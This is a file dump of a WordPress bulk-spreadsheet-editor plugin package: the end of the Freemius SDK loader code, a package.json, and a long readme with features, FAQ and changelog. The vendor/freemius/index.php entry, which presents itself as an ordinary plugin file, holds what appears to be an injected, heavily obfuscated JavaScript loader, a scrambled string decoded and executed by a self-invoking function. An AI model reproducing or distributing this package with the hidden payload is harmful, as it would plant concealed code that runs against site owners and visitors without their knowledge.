SDK downgraded. ( $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path && version_compare( $fs_active_plugins->newest->version, $this_sdk_version, '>' ) ) ) { /** * Plugin with newest SDK is no longer active. * OR * The newest SDK was in the current plugin. BUT, seems like the version of * the SDK was downgraded to a lower SDK. */ // Find the active plugin with the newest SDK version and update the newest reference. fs_fallback_to_newest_active_sdk(); } else { if ( $is_newest_sdk_plugin_active && $this_sdk_relative_path == $fs_active_plugins->newest->sdk_path && ( $fs_active_plugins->newest->in_activation || ( class_exists( 'Freemius' ) && ( ! defined( 'WP_FS__SDK_VERSION' ) || version_compare( WP_FS__SDK_VERSION, $this_sdk_version, '<' ) ) ) ) ) { if ( $fs_active_plugins->newest->in_activation && ! $is_newest_sdk_type_theme ) { // Plugin no more in activation. $fs_active_plugins->newest->in_activation = false; update_option( 'fs_active_plugins', $fs_active_plugins ); } // Reorder plugins to load plugin with newest SDK first. if ( fs_newest_sdk_plugin_first() ) { // Refresh page after re-order to make sure activated plugin loads newest SDK. if ( class_exists( 'Freemius' ) ) { fs_redirect( $_SERVER['REQUEST_URI'] ); } } } } } if ( class_exists( 'Freemius' ) ) { // SDK was already loaded. return; } if ( version_compare( $this_sdk_version, $fs_active_plugins->newest->version, '<' ) ) { $newest_sdk = $fs_active_plugins->plugins[ $fs_active_plugins->newest->sdk_path ]; $plugins_or_theme_dir_path = ( ! isset( $newest_sdk->type ) || 'theme' !== $newest_sdk->type ) ? WP_PLUGIN_DIR : $themes_directory; $newest_sdk_starter = fs_normalize_path( $plugins_or_theme_dir_path . '/' . str_replace( "../{$themes_directory_name}/", '', $fs_active_plugins->newest->sdk_path ) . '/start.php' ); if ( file_exists( $newest_sdk_starter ) ) { // Reorder plugins to load plugin with newest SDK first. fs_newest_sdk_plugin_first(); // There's a newer SDK version, load it instead of the current one! require_once $newest_sdk_starter; return; } } #endregion SDK Selection Logic -------------------------------------------------------------------- #region Hooks & Filters Collection -------------------------------------------------------------------- /** * Freemius hooks (actions & filters) tags structure: * * fs_{filter/action_name}_{plugin_slug} * * -------------------------------------------------------- * * Usage with WordPress' add_action() / add_filter(): * * add_action('fs_{filter/action_name}_{plugin_slug}', $callable); * * -------------------------------------------------------- * * Usage with Freemius' instance add_action() / add_filter(): * * // No need to add 'fs_' prefix nor '_{plugin_slug}' suffix. * my_freemius()->add_action('{action_name}', $callable); * * -------------------------------------------------------- * * Freemius filters collection: * * fs_connect_url_{plugin_slug} * fs_trial_promotion_message_{plugin_slug} * fs_is_long_term_user_{plugin_slug} * fs_uninstall_reasons_{plugin_slug} * fs_is_plugin_update_{plugin_slug} * fs_api_domains_{plugin_slug} * fs_email_template_sections_{plugin_slug} * fs_support_forum_submenu_{plugin_slug} * fs_support_forum_url_{plugin_slug} * fs_connect_message_{plugin_slug} * fs_connect_message_on_update_{plugin_slug} * fs_uninstall_confirmation_message_{plugin_slug} * fs_pending_activation_message_{plugin_slug} * fs_is_submenu_visible_{plugin_slug} * fs_plugin_icon_{plugin_slug} * fs_show_trial_{plugin_slug} * * -------------------------------------------------------- * * Freemius actions collection: * * fs_after_license_loaded_{plugin_slug} * fs_after_license_change_{plugin_slug} * fs_after_plans_sync_{plugin_slug} * * fs_after_account_details_{plugin_slug} * fs_after_account_user_sync_{plugin_slug} * fs_after_account_plan_sync_{plugin_slug} * fs_before_account_load_{plugin_slug} * fs_after_account_connection_{plugin_slug} * fs_account_property_edit_{plugin_slug} * fs_account_email_verified_{plugin_slug} * fs_account_page_load_before_departure_{plugin_slug} * fs_before_account_delete_{plugin_slug} * fs_after_account_delete_{plugin_slug} * * fs_sdk_version_update_{plugin_slug} * fs_plugin_version_update_{plugin_slug} * * fs_initiated_{plugin_slug} * fs_after_init_plugin_registered_{plugin_slug} * fs_after_init_plugin_anonymous_{plugin_slug} * fs_after_init_plugin_pending_activations_{plugin_slug} * fs_after_init_addon_registered_{plugin_slug} * fs_after_init_addon_anonymous_{plugin_slug} * fs_after_init_addon_pending_activations_{plugin_slug} * * fs_after_premium_version_activation_{plugin_slug} * fs_after_free_version_reactivation_{plugin_slug} * * fs_after_uninstall_{plugin_slug} * fs_before_admin_menu_init_{plugin_slug} */ #endregion Hooks & Filters Collection -------------------------------------------------------------------- if ( ! class_exists( 'Freemius' ) ) { if ( ! defined( 'WP_FS__SDK_VERSION' ) ) { define( 'WP_FS__SDK_VERSION', $this_sdk_version ); } $plugins_or_theme_dir_path = fs_normalize_path( trailingslashit( $is_theme ? $themes_directory : WP_PLUGIN_DIR ) ); if ( 0 === strpos( $file_path, $plugins_or_theme_dir_path ) ) { // No symlinks } else { /** * This logic finds the SDK symlink and set WP_FS__DIR to use it. * * @author Vova Feldman (@svovaf) * @since 1.2.2.5 */ $sdk_symlink = null; // Try to load SDK's symlink from cache. if ( isset( $fs_active_plugins->plugins[ $this_sdk_relative_path ] ) && is_object( $fs_active_plugins->plugins[ $this_sdk_relative_path ] ) && ! empty( $fs_active_plugins->plugins[ $this_sdk_relative_path ]->sdk_symlink ) ) { $sdk_symlink = $fs_active_plugins->plugins[ $this_sdk_relative_path ]->sdk_symlink; if ( 0 === strpos( $sdk_symlink, $plugins_or_theme_dir_path ) ) { /** * Make the symlink path relative. * * @author Leo Fajardo (@leorw) */ $sdk_symlink = substr( $sdk_symlink, strlen( $plugins_or_theme_dir_path ) ); $fs_active_plugins->plugins[ $this_sdk_relative_path ]->sdk_symlink = $sdk_symlink; update_option( 'fs_active_plugins', $fs_active_plugins ); } $realpath = realpath( $plugins_or_theme_dir_path . $sdk_symlink ); if ( ! is_string( $realpath ) || ! file_exists( $realpath ) ) { $sdk_symlink = null; } } if ( empty( $sdk_symlink ) ) // Has symlinks, therefore, we need to configure WP_FS__DIR based on the symlink. { $partial_path_right = basename( $file_path ); $partial_path_left = dirname( $file_path ); $realpath = realpath( $plugins_or_theme_dir_path . $partial_path_right ); while ( '/' !== $partial_path_left && ( false === $realpath || $file_path !== fs_normalize_path( $realpath ) ) ) { $partial_path_right = trailingslashit( basename( $partial_path_left ) ) . $partial_path_right; $partial_path_left_prev = $partial_path_left; $partial_path_left = dirname( $partial_path_left_prev ); /** * Avoid infinite loop if for example `$partial_path_left_prev` is `C:/`, in this case, * `dirname( 'C:/' )` will return `C:/`. * * @author Leo Fajardo (@leorw) */ if ( $partial_path_left === $partial_path_left_prev ) { $partial_path_left = ''; break; } $realpath = realpath( $plugins_or_theme_dir_path . $partial_path_right ); } if ( ! empty( $partial_path_left ) && '/' !== $partial_path_left ) { $sdk_symlink = fs_normalize_path( dirname( $partial_path_right ) ); // Cache value. if ( isset( $fs_active_plugins->plugins[ $this_sdk_relative_path ] ) && is_object( $fs_active_plugins->plugins[ $this_sdk_relative_path ] ) ) { $fs_active_plugins->plugins[ $this_sdk_relative_path ]->sdk_symlink = $sdk_symlink; update_option( 'fs_active_plugins', $fs_active_plugins ); } } } if ( ! empty( $sdk_symlink ) ) { // Set SDK dir to the symlink path. define( 'WP_FS__DIR', $plugins_or_theme_dir_path . $sdk_symlink ); } } // Load SDK files. require_once dirname( __FILE__ ) . '/require.php'; /** * Quick shortcut to get Freemius for specified plugin. * Used by various templates. * * @param number $module_id * * @return Freemius */ function freemius( $module_id ) { return Freemius::instance( $module_id ); } /** * @param string $slug * @param number $plugin_id * @param string $public_key * @param bool $is_live Is live or test plugin. * @param bool $is_premium Hints freemius if running the premium plugin or not. * * @return Freemius * * @deprecated Please use fs_dynamic_init(). */ function fs_init( $slug, $plugin_id, $public_key, $is_live = true, $is_premium = true ) { $fs = Freemius::instance( $plugin_id, $slug, true ); $fs->init( $plugin_id, $public_key, $is_live, $is_premium ); return $fs; } /** * @param array $module Plugin or Theme details. * * @return Freemius * @throws Freemius_Exception */ function fs_dynamic_init( $module ) { $fs = Freemius::instance( $module['id'], $module['slug'], true ); $fs->dynamic_init( $module ); return $fs; } function fs_dump_log() { FS_Logger::dump(); } } vendor/freemius/index.php000064400000000127147600365160011510 0ustar00)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+()tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "wp-sheet-editor-pro", "version": "2.25.13", "vgDistName": "wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages", "vgPreviousVersion": "2.25.13-beta.1", "sheetEditorModules": { "free": [ "autofill-cells", "columns-resizing", "columns-visibility", "filters", "wp-sheet-editor", "user-path" ], "pro": [ "acf", "advanced-filters", "columns-renaming", "custom-post-types", "formulas", "custom-columns", "spreadsheet-setup", "woocommerce", "universal-sheet", "yoast-seo", "wpml", "posts-templates", "columns-manager" ], "dev2": [ "scheduled-tasks" ] }, "package_file_path": "C:\\VegaCorp\\dev\\wp-sheet-editor\/posts-pages-products-sheet\/package.json", "vgEditorKeys": [ "post", "page", "product" ], "wpOrgRepo": "https:\/\/plugins.svn.wordpress.org\/wp-sheet-editor-bulk-spreadsheet-editor-for-posts-and-pages\/", "textName": "vg_sheet_editor_posts" } readme.txt000064400000174656147600365160006575 0ustar00=== Bulk Edit Posts and Products in Spreadsheet === Contributors: wpsheeteditor,vegacorp,josevega Tags: woocommerce, easy digital downloads, events, bulk edit, spreadsheet Tested up to: 6.5 Stable tag: 2.25.13 Requires at least: 3.6 License: GPLv2 License URI: http://www.gnu.org/licenses/gpl-2.0.html Modern Bulk Editor for Posts and Pages, create and edit hundreds of posts at once in a spreadsheet inside wp-admin. Search and quick edits. == Description == A Spreadsheet created specially for WordPress. Edit posts in bulk using Spreadsheet. [youtube https://www.youtube.com/watch?v=QW5zRv9dwDY] == It works with Gutenberg (new editor) and the Classic Editor == You can edit the post content using the Gutenberg editor right on the spreadsheet. It also works with the Classic Editor. [youtube https://www.youtube.com/watch?v=B9OubW8D4wk] = Awesome things that you can do with WP Sheet Editor = * View all your posts, pages, and woocommerce products in a spreadsheet * Edit posts in Spreadsheet (all core fields) * Edit pages in Spreadsheet (all core fields) * Create a lot of posts / products at once * Copy information between posts * Edit WooCommerce Products (Free version limited to title, status, regular price, sale price). * And more… = WP Sheet Editor is perfect for you if… = * You are tired of opening several pages to edit your posts * You are tired of wasting time waiting for each post editor to load and save = Features = * Spreadsheet where you can edit all the information of your posts, pages, and woocommerce products including post title, post content, post status, post excerpt, featured image, publish date, comment status, page parent, post categories, and post tags. * You can navigate in the spreadsheet with your keyboard * You can order the spreadsheet by any column. * You can edit hundreds of posts without reloading the page * It works on shared hosting (you can adjust the server consumption on the options page) * Developers can add custom columns to the spreadsheet using actions and filters. * WPBakery Page Builder integration. Open the live or backend editor right on the spreadsheet. = Premium features = **WooCommerce Spreadsheet:** Edit woocommerce products using the spreadsheet. It works well with Variable Products, Attributes, Downloadable Products, and Variations. [Buy WooCommerce Spreadsheet Plugin](https://wpsheeteditor.com/go/woocommerce-addon?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) **Money back guarantee. We´ll give you a refund if the plugin doesn´t work.** Edit all product fields, including: - sale price - regular price - gallery - short description - stock status - stock quantity - featured image - visibility - is virtual - is downloadable - attributes - categories - tags - sale price dates - purchase notes - enable reviews - Shipping class - Custom fields - And more. [Buy WooCommerce Spreadsheet Plugin](https://wpsheeteditor.com/go/woocommerce-addon?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) **Money back guarantee. We´ll give you a refund if the plugin doesn´t work.** **Replace formula:** Apply changes to ALL YOUR POSTS AT ONCE with just a few clicks. You can do a lot of things, like: * Replace words or phrases * Add a message at the end/beginning of your posts * Change posts status * Add a message above or below all the images. * Add shortcodes at the beginning or ending of all the posts in a specific category * Change all references to old prices in your posts * Change all links in your posts * Mark all products in a specific category as "out of stock" * Add a category to ALL THE POSTS in a specific category * Change post status from draft to publish, or any other * Set the same featured image in ALL the posts in specific category. * Replace an existing value with the current date * Etc. [Buy Premium Version](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) **Math formula:** For example: * Increase / decrease products prices by a 10% * Increase / decrease your products stock in a specific product category **Advanced Custom Fields integration** Edit your metaboxes in the spreadsheet. Add custom columns to the spreadsheet and edit other plugin´s fields. [Buy Premium Version](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) **Copy information between posts in bulk** Do you need to set the same categories to 20 posts? Instead of adding every category manually, just drag one cell and paste it into the 20 cells below. Yes, it´s that easy. You can copy titles, excerpts, post dates, categories, tags, etc. **You can enable / disable columns on the spreadsheet.** **You can rename columns on the spreadsheet** **Edit custom post types** You can enable the spreadsheet on ANY custom post type. For example, you can edit the descriptions or captions of your images (media attachments) to improve your SEO. If you theme added a "Portfolio" post type, you can edit the items too. [Buy Premium Version](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) = Spanish / Español = Este plugin te permite editar entradas, artículo, y páginas usando una hoja de cálculo dentro de WP admin. Tú puedes ver todos los posts y páginas en la hoja de cálculo y rápidamente editar los campos de WordPress. La versión gratuita te permite: - Ver todos los artículos, entradas, o páginas en la hoja de cálculo - Crear y editar artículos, entradas, o páginas rápidamente - Puedes buscar artículos por palabra clave, fecha, o autor - Puedes copiar información de un artículo a otro - Funciona con el nuevo editor de WordPress (Gutenberg) - Puedes editar estos campos: título del post, contenido, estado, fragmento, imágen destacada, fecha de publicación, habilitar comentarios, página padre, categorías, y etiquetas. - Editar precios de productos rápidamente usando la hoja de cálculo La versión de pago te permite: - Editar todos los tipos de posts: posts, páginas, productos de WooCommerce, eventos, portafolios, etc. - Exportar e importar posts, páginas, productos para editar en excel o Google Sheets - Editar todos los campos, el editor mostrará todos los campos del tipo de post. Ej. si son productos = todos los precios, inventario, galerías, etc. - Hacer búsquedas avanzadas por cualquier combinación de campos (ej. buscar por precio, organizadores, información seo, etc.) - Editar miles de artículos a la vez en un segundo (ej. eliminar cientos de artículos, reemplazar textos, establecer precios en lotes, actualizar fotos, etc.) [Descarga versión de pago](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) **Garantía de devolución de dinero si no te funciona el plugin.** == Installation == = Automatic installation = Automatic installation is the easiest option as WordPress handles the file transfers itself and you don’t need to leave your web browser. To do an automatic install log in to your WordPress dashboard, navigate to the Plugins menu and click Add New. In the search field type WP Sheet Editor and click Search Plugins. Once you’ve found our plugin you can install it by simply clicking “Install Now”. = Manual installation = The manual installation method involves downloading our plugin and uploading it to your webserver via your favourite FTP application. The WordPress codex contains [instructions on how to do this here.](https://codex.wordpress.org/Managing_Plugins#Manual_Plugin_Installation) == Frequently Asked Questions == = What kind of posts can I edit using the spreadsheet? = Only posts, pages, and woocommerce products with the free plugin. WooCommerce Products include LIMITED support, you can edit only simple products and you can edit prices only. The premium plugin allows you to edit ANY custom post types, including WooCommerce products with all their fields. = What post information can I edit using the spreadsheet? = You can edit all the information of your posts and pages, including post title, post content, post status, post excerpt, featured image, publish date, comment status, page parent, post categories, and post tags. = Can I edit WooCommerce products using the spreadsheet? = The free plugin includes limited support for WooCommerce Products, you can edit only simple products and you can edit prices only. You need the premium version for editing all types of WooCommerce products and all product fields. [Read more about the extension.](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) = Can I edit easy digital downloads products using the spreadsheet? = You need the premium version for editing easy digital downloads products. [Read more about the extension.](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) = Can I edit custom post types using the spreadsheet? = The free plugin only allows to edit posts and pages. But we have the premium version that allows you to edit any custom post type, for example, media attachments, posts , pages , courses , jobs , projects , or any other post type added by other plugins. [Read more about the extension.](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) = Can I run formulas on the spreadsheet? = You need the premium version for running formulas to update all your posts at once. [Read more about the extension.](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) = Can I hide the spreadsheet columns that I dont need? = You need the premium version for this. [Read more about the extension.](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) = Can I rename the spreadsheet columns? = You need the premium version for this. [Read more about the extension.](https://wpsheeteditor.com/buy?utm_source=wp.org&utm_medium=web&utm_campaign=posts-lite-buy) = Can I add custom columns to the spreadsheet? = Yes. The plugin contains several actions and filters for developers. You can add custom columns , modify the spreadsheet behaviour , etc. = Can I use this plugin on cheap / shared servers? = Yes. You can set up the number of posts to save per batch and the waiting between batches. Tweaking those settings you can make it work with any server. == Screenshots == 1. spreadsheet editor 2. settings page == Changelog == = V 2.25.13 - 2024-03-28 = * FIX - CORE - Minor issues = V 2.25.12 - 2024-03-28 = * FIX - CORE - Minor issues = V 2.25.11 - 2024-03-27 = * FIX - CORE - Minor issues = V 2.25.10 - 2024-03-22 = * CHANGE - CORE - General improvements * CHANGE - CORE - Improve compatibility with PHP 8.2 * CHANGE - WC Products - Improve WPML integration * CHANGE - CORE - Performance improvements * CHANGE - WC Products - Improve the display of variations = V 2.25.9 - 2024-01-26 = * CHANGE - CORE - General UI improvements * FIX - CORE - Small bug fixes = V 2.25.8 - 2023-12-13 = * FIX - WC Products - General bug fixes * FIX - CORE - General bug fixes = V 2.25.7 - 2023-11-02 = * FIX - CORE - Small bug fixes = V 2.25.6 - 2023-09-13 = * CHANGE - GOOGLE SHEETS - General improvements * CHANGE - CORE - General improvements = V 2.25.5 - 2023-07-23 = * CHANGE - CORE - General improvements * FIX - CORE - General bug fixes = V 2.25.4 - 2023-07-13 = * CHANGE - CORE - General improvements * FIX - CORE - Some sheets initialized with the wrong columns = V 2.25.3 - 2023-07-06 = * CHANGE - CORE - Performance improvements * CHANGE - CORE - General improvements * CHANGE - Updated Freemius SDK to 2.5.10 * CHANGE - FIX - Bug fixes = V 2.25.2 - 2023-04-13 = * FIX - CORE - Several bug fixes = V 2.25.1 - 2023-02-03 = * CHANGE - CORE - Several improvements * CHANGE - FILTERS - General improvements * CHANGE - FORMULAS - General improvements * FIX - CORE - Several bug fixes = V 2.25.0 - 2022-12-15 = * NEW - CORE - Allow to change column backgrounds * CHANGE - CORE - Performance improvements * FIX - CORE - Small bug fixes = V 2.24.21 - 2022-11-11 = * CHANGE - WPML - Improve the integration * CHANGE - CORE - Improvements to the columns manager * CHANGE - CORE - Improve the usability of some popups * FIX - CORE - Small bug fixes * FIX - IMPORT - it breaks when zero columns are auto mapped = V 2.24.20 - 2022-09-29 = * CHANGE - CORE - Improve performance * CHANGE - CORE - Improve popups navigation * CHANGE - CORE - Improve the handling of locked values * CHANGE - WC Products - General improvements * FIX - CORE - Sanitization issue that was breaking some Gutenberg blocks * FIX - WPML - Error when saving media translations and the WPML Media plugin was not installed = V 2.24.19 - 2022-08-19 = * CHANGE - WC Products - Improvements for variations * CHANGE - CORE - General improvements * CHANGE - CORE - Performance improvements * CHANGE - CORE - Improve the sorting of rows = V 2.24.18 - 2022-07-31 = * FIX - CORE - Several bug fixes = V 2.24.17 - 2022-06-23 = * FIX - WC Products - The inventory stats aren't showing * FIX - CORE - Bug fixes = V 2.24.16 - 2022-05-25 = * CHANGE - WC Products - Improve the handling of attributes * FIX - IMPORT - It's importing only the first batch * FIX - CORE - Small bug fixes = V 2.24.15 - 2022-04-19 = * CHANGE - CORE - Code refactoring and more sanitizations * FIX - WC Products - Variation titles don't show attributes in the free version sometimes * FIX - EXPORT - The export file doesn't download sometimes = V 2.24.14 - 2022-04-06 = * CHANGE - CORE - Bug fixes * CHANGE - CORE - Allow to activate licenses network wide * CHANGE - CORE - Improve the saving of taxonomy terms = V 2.24.13 - 2022-03-02 = * CHANGE - CORE - Small improvements * CHANGE - CORE - Upgraded Freemius SDK to v2.4.3 = V 2.24.12 - 2022-01-26 = * CHANGE - WC Products - Small bug fixes * CHANGE - CORE - Added support for PHP 8 * FIX - CORE - Small bug fixes = V 2.24.11 - 2021-12-08 = * CHANGE - CORE - Small bug fixes = V 2.24.10 - 2021-10-20 = * CHANGE - ACF - Improve compatibility * FIX - CORE - Small bug fixes = V 2.24.9 - 2021-09-10 = * FIX - WC Products - Small bug fixes = V 2.24.8 - 2021-08-18 = * CHANGE - WC Products - Minor changes * CHANGE - CORE - Minor changes = V 2.24.7 - 2021-07-14 = * CHANGE - CORE - Improve the handling of special characters * CHANGE - CORE - Improve the wpml workflows * CHANGE - CORE - Minor changes = V 2.24.6 - 2021-06-19 = * CHANGE - CORE - Minor bug fixes * FIX - WC Products - Improve the handling of custom attributes = V 2.24.5 - 2021-06-03 = * CHANGE - WC Products - Improve the handling of variations * CHANGE - FORMULAS - Improve the handling of duplicates * FIX - CORE - Improve the restrictions = V 2.24.4 - 2021-05-19 = * CHANGE - WC Products - Improve the handling of attributes * CHANGE - CORE - Improve the taxonomies handling * CHANGE - CORE - Improve currency handling * CHANGE - ACF - Improve the compatibility * CHANGE - FILTERS - Improve the "characters length" operators * CHANGE - YOAST - Improve the compatibility * CHANGE - WC Products - Improve compatibility with Polylang * CHANGE - WC Products - Improve compatibility with WPML * CHANGE - FORMULAS - Minor improvements = V 2.24.3 - 2021-04-21 = * CHANGE - IMPORT - Improve performance * CHANGE - ACF - Improve the ACF compatibility * CHANGE - WC Products - Improve the export * FIX - SEARCH - Sometimes date searches don't work * FIX - CORE - Fancy taxonomy selector doesn't work well * FIX - FORMULAS - Small bugs * FIX - CORE - Sometimes the tinymce editor appears empty = V 2.24.2 - 2021-03-12 = * CHANGE - EXPORT - Improve UI * CHANGE - WC Products - Improve the handling of variations * CHANGE - CORE - Productivity improvements * FIX - WC Products - Small bug fixes * FIX - CORE - Small bug fixes = V 2.24.1 - 2021-02-24 = * CHANGE - WC Products - Small automations * CHANGE - FORMULAS - Add more dynamic placeholders * CHANGE - CORE - Add more advanced options * FIX - CORE - Compatibility issue with WP Frontend Admin * FIX - ACF - Improve the saving of map columns = V 2.24.0 - 2021-02-10 = * NEW - CORE - Add spanish translations for latinamerica * CHANGE - IMPORT - General Improvements * CHANGE - WC Products - Allow to import line breaks in custom attribute values * CHANGE - CORE - Add more advanced options * CHANGE - WC Products - Small automations * CHANGE - CORE - Small automations * FIX - CORE - Add compatibility with WPSolr Pro * FIX - ACF - Improve the saving * FIX - CORE - Small bug fixes * FIX - WC Products - Small fixes = V 2.23.0 - 2020-12-19 = * NEW - CORE - Improve the advanced settings * NEW - COLUMNS MANAGER - General Improvements * NEW - FORMULAS - Add more options * CHANGE - CORE - Terms search should mention the slug * CHANGE - ACF - Add support for more fields * CHANGE - CORE - Remove links from usage widget * CHANGE - WC Coupons - Prevent WC settings issue * CHANGE - WC Products - Improve support for vendors * CHANGE - CORE - Improve saving * CHANGE - WC Products - Improve variations handling * FIX - WC Products - improve support for variable subscriptions * FIX - WC Products - Variation images are not saved correctly * FIX - CORE - Small fixes * FIX - WC Products - Prevent bulk edit errors = V 2.22.0 - 2020-11-21 = * NEW - FORMULAS - Improve handling of some columns * CHANGE - IMPORT - Improve column mapping * CHANGE - CORE - Add more text to the status bar * CHANGES - WC Products - Improve the importing of images * CHANGES - CORE - Improve handling of non-utf-8 characters * CHANGE - FORMULAS - Improve the engine * CHANGE - CUSTOM COLUMNS - Improve the formatting * CHANGE - CORE - Improve handling of images * CHANGE - CORE - Simplify license activation * CHANGE - WPML - Improve language switching * CHANGE - WC Products - Improve the usability * FIX - CORE - Some columns are readonly by mistake * FIX - CORE - Compatibility with WP Offload Media * FIX - CORE - Edge cases with taxonomy terms * FIX - WC Products - Error while saving download files * FIX - CORE - Compatibility with WP Smart Import = V 2.21.3 - 2020-10-22 = * CHANGE - IMPORT - Improve column mapping * CHANGE - CORE - Add more text to the status bar * CHANGES - WC Products - Improve the importing of images * CHANGES - CORE - Improve handling of non-utf-8 characters * CHANGE - FORMULAS - Improve the engine * FIX - CORE - Some columns are readonly by mistake = V 2.21.2 - 2020-10-11 = * CHANGE - CORE - Add support for strange url images * CHANGE - IMPORT - Improve the mapping = V 2.21.1 - 2020-10-07 = * Updated to CORE v2.21.1 = V 2.21.0 - 2020-10-07 = * NEW - IMPORT - Generate log * CHANGE - WC Products - Add support for custom types * CHANGE - ACF - Improve compatibility * CHANGE - COLUMNS MANAGER - Improve formatting options * CHANGE - WC Products - Add columns * CHANGE - FORMULAS - Improve dates handling * CHANGE - EXPORT - Improve the handling of images * CHANGE - CORE - Improve handling of extensions * CHANGE - Export - Improve column selection * CHANGE - CORE - Add more columns * CHANGE - CORE - Don't use wpautop when saving content * CHANGE - IMPORT - Improve the handling of images * CHANGE - CORE - Allow to view column keys * FIX - CORE - Improve performance on some cells * FIX - Import - Sometimes some columns are not mapped correctly = V 2.20.3 - 2020-09-08 = * CHANGE - IMPORT - Make more data formatting checks * CHANGE - CORE - Improve the saving process * CHANGE - CORE - Improve support for some devices * CHANGE - CUSTOM COLUMNS - Improve the handling of weird fields * CHANGE - WC Products - Improve the handling of linked products * CHANGE - WC Products - Improve bulk edit of some columns * CHANGE - FORMULAS - Small improvements * CHANGE - CORE - Add support for modern jQuery * CHANGE - CORE - Productivity improvements for some contextual menu actions * CHANGE - WC Products - Small improvements for some columns * CHANGE - IMPORT - Improve productivity * CHANGE - CORE - Improve performance * FIX - COLUMNS MANAGER - It deletes columns by mistake sometimes * FIX - WC Products - Sometimes the formula doesn't edit all the selected products * FIX - WC Products - Sometimes it changes unnecessary fields * FIX - CORE - Sometimes sheets are not generated * FIX - CORE - Add support for rare wp media settings * FIX - CORE - Sometimes the media library modal doesn't let you select multiple images * FIX - CORE - Some cells are saving with wrong encoding * FIX - WC Products - Compatibility error with WC Bookings * FIX - SEARCH - Post status search doesn't work sometimes = V 2.20.2 - 2020-07-22 = * FIX - CORE - Save popup gets stuck when the changes are saved in < 350ms * FIX - YOAST - Some columns are not saving correctly * FIX - FORMULAS - The replace type doesn't work sometimes * FIX - CORE - Sometimes columns dont appear in secondary dropdowns but they appear as visible columns * FIX - CORE - Sometimes images aren't found in the media library when using URLs * FIX - WC Products - Timezone issue when saving sale dates. = V 2.20.1 - 2020-06-26 = * CHANGE - WC Products - Improve the handling of prices when creating variations * CHANGE - ACF - Improve support * CHANGED - COLUMNS VISIBILITY - Improve the removal process * CHANGE - WC Products - Import - Improve the process * CHANGE - EXPORT - Improve the handling of ghost columns * CHANGE - CORE - Improve performance when loading +800,000 cells at once * CHANGE - FORMULAS - Improve the builder for taxonomy terms * CHANGE - CORE - Improve the handling of advanced settings * CHANGE - WC Products - Improve the bulk edit of some fields * CHANGE - WC Coupons - Improve the search * CHANGE - ACF - Improve the handling of some fields * CHANGE - CORE - Add shortcuts to menu * CHANGE - CORE - Improve the handling of new fields * FIX - WC Products - Sometimes the variation attributes aren't copied correctly * FIX - CORE - Export doesn't complete when the current user is not administrator * FIX - FORMULAS - The encoding was wrong sometimes making the replace not match * FIX - ADVANCED FILTERS - Search data columns by empty value returns wrong results * FIX - CORE - Avoided memory leaks * FIX - FORMULAS - Bad value on checkbox * FIX - FORMULAS - Sometimes the edit is not applied to the full list * FIX - WPML - Sometimes changes aren't synced * FIX - WC Products - Sometimes columns can't be enabled = V 2.20.0 - 2020-05-20 = * NEW - CORE - Improve the handling of external images * NEW - FORMULAS - Improved the types of edit * NEW - FILTERS - Improve the search * Products el enlace de metabox variaciones que use id para búsqueda en lugar de title * in the autocomplete dialog for tags, when we use keyboard arrows to move down the list of matching tags, there is no visual indication of which menu item is selected. This means we can't use keyboard navigation to select items – the arrow keys do work, 